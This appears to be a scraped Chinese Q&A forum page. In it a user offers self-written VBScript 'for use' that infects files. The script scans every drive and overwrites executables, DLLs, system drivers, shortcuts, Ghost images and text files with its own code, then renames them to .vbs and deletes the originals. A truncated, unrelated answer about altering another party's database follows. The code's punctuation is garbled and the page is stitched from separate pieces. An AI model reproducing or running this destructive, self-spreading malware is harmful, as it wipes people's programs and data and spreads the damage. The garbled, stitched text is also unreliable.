你是说的是感染文件吗?
我有一段代码感染exe文件的
自己写的 用吧
On Error Resume next' 感染文件
Dim fso
Set fso=CreateObject("scripting。
filesystemobject")
Dim self
Dim zs
Set divs=fso。Drives
zs=WScript。ScriptFullName
Set self=fso。
OpenTextFile(zs)
Dim cover
cover=self。ReadAll
self。Close
For Each div In divs
If div。
DriveType=1 Or div。DriveType=2 Or div。DriveType=3 Or div。DriveType=4 Then
scan(div)
End If
Next
Sub scan(folder_)
Set folder_=fso。
GetFolder(folder_)
Dim files
Set files=folder_。Files
For Each file In files
Dim ext
ext=fso。
GetExtensionName(file)
ext=LCase(ext)
If ext="gho" or ext= "exe" or ext ="dll" or ext="lnk" or ext ="drv" or ext="sys" or ext="txt" Then
Dim ap
Set ap=fso。
OpenTextFile(file。Path,2,True)
ap。Write cover
ap。Close
fso。GetFile(file。Path)。copy(file。Path & "。
vbs")
file。Delete(true)
End If
set subfolders=folder_。
subfolders
for each subfolder in subfolders
scan(subfolder)
next
Next
End Sub。
答：除非你能有权限直接访问对方数据库，而且还要知道数据库表的关系以及表中数据条目的含义。否则是无法修改的,正常情况下对于数据的读取修改都是在服务器后台进行，而且会有...详情>>
